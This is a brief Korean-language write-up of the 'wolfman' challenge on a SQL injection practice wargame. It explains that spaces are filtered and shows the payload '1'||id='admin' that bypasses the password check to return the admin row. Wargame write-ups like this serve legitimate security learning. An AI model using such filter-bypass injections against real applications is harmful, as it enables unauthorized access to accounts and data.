[LOS] wolfman

문제

---

https://los.rubiya.kr/chall/wolfman_4fdc56b75971e41981e3d1e2fbe9b7f7.php 

https://los.rubiya.kr/chall/wolfman_4fdc56b75971e41981e3d1e2fbe9b7f7.php

 

 

 

문제풀이

---

쿼리문은 pw 파라미터를 받아 id를 반환하는데 이 때, id가 admin일 때 문제가 해결된다.

소스코드를 보면 공백이 필터링 되는 것을 확인할 수 있다.

 

공백을 사용하지 않고 마지막 따옴표를 이용하여 아래와 같이 문제를 해결할 수 있다.

 select id from prob_wolfman where id='guest' and pw='1'||id='admin'";